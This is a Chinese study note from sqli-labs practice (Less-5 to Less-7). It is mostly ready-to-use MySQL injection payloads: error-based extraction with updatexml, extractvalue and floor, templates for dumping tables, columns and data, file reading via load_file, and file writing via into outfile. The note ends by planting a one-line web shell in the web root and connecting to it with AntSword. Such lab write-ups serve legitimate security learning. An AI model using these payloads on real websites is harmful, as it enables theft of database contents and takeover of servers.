sql靶场练习笔记2

目录

环境:sqli靶场

Less-5 基于'字符型的错误回显注入

less-6 基于"字符型的错误回显注入

总结报错注入之updatexml语句:

总结报错注入之extractvalue语句: 

总结报错注入之floor语句: 

Less-7 文件读写注入

总结文件注入知识

一句话木马


环境:sqli靶场

Less-5 基于'字符型的错误回显注入

输入?id=1,页面正常  

输入?id=2',页面出现错误语句

尝试 ?id=1' order by 1,2,3 -- -   ,全是

sql靶场练习笔记2_第1张图片

说明页面没有显示位。无法使用联合查询注入 ,这里涉及一种新的知识:报错注入

?id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

sql靶场练习笔记2_第2张图片

less-6 基于"字符型的错误回显注入

?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

sql靶场练习笔记2_第3张图片

总结报错注入之updatexml语句:

语法:

payload:id='and(select(union select updatexml("anything",concat('~',(select语句())),"anyhing"))

例如:

'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1)) 

针对mysql

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

 注:

  •   0x7e=’~’
  •   concat(‘a’,‘b’)=“ab”
  •   database()=@@database
  •   ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
  • 最长输出32位

总结报错注入之extractvalue语句: 

语法:

payload:id='and(select extractvalue("anything",concat('~',(select语句))))

例如

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))

针对mysql:

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
  • 最长输出32位 

总结报错注入之floor语句: 

语法:

id=1' and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 

例如: 

floor():id=1’ and select count(*),(concat(floor(rand(0)*2),(select database())))x from users group by x --+  less-7 文件读写注入

第五题我们使用floor报错语句进行注入

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

 sql靶场练习笔记2_第4张图片

  • 这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
  • group_concat()函数的作用:将返回信息拼接成一行显示
  • limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

接着我们运用如下语句:

?id=2' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

 sql靶场练习笔记2_第5张图片

 需要注意的是, 此时数据库名并不是 ctftraining1

这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)


Less-7 文件读写注入

这里我转入了自己的靶场,buuctf靶场解不出这道题


总结文件注入知识

一、读文件:

load_file()

以sqli- labs2为例

1.在E:/wamp64/tmp中写一个1.txt文件,并在里面写内容为“hello world!”。

 2,输入语句

这里注意:

  • 使用/来代替目录中的\ 
  • id一定要改成0或负数
?id=-1 union select 1,load_file('E:/wamp64/tmp/1.txt'),2

sql靶场练习笔记2_第6张图片

二、写文件:

into outfile()

以sqli- labs7为例 

写入sql语句,即可看到在E:/wamp64/tmp中出现了file.php文件

  • 数据库的file权限:规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
  • into outfile命令使用的环境:服务器上一个可以写入文件的文件夹的完整路径
?id=-1')) union select 1,2,3 into outfile 'E:/wamp64/tmp/file.php' --+

效果:

sql靶场练习笔记2_第7张图片

打开文件

sql靶场练习笔记2_第8张图片

三,这里有个坑,文件路径不是随便写的

sql靶场练习笔记2_第9张图片

打开my.ini  ,查看文件该放的路径--->

sql靶场练习笔记2_第10张图片


先试一试 ?id=1   页面回显正常

输入?id=1 and 1=2  页面仍回显正常

说明不是数值型注入

sql靶场练习笔记2_第11张图片

 输入?id=1'页面报错,说明可能存在"注入

依次次输入

  • ?id=1' --+ 页面显示异常
  • ?id=1') --+ 页面显示异常
  • ?id=1')) --+ 页面正常了

猜测注入语句

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

本关卡提示我们使用file权限向服务器写入文件,我们使用联合注入尝试写一下语句。这里我用的是wampserve环境

?id=-1')) union select 1,2,3 into outfile 'E:/wamp64/tmp/file.php' --+

sql靶场练习笔记2_第12张图片

需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传file.php,下次在上传file.php,就是无效命令了,也就是新的file,php中的内容并不会覆盖之前的file.php 

一句话木马

我们再尝试上传一句话木马

文件上传--一句话木马详解

 

 

?id=-1')) union select 1,"",3 into outfile 'E:/wamp64/tmp/file2.php' -- -

sql靶场练习笔记2_第13张图片

将这个文件移到www目录下 

 sql靶场练习笔记2_第14张图片

上传成功,使用蚁剑连接木马

sql靶场练习笔记2_第15张图片

 连接成功

具体操作看这篇文章

你可能感兴趣的:(刷题记录,mysql学习笔记,sql,数据库,database)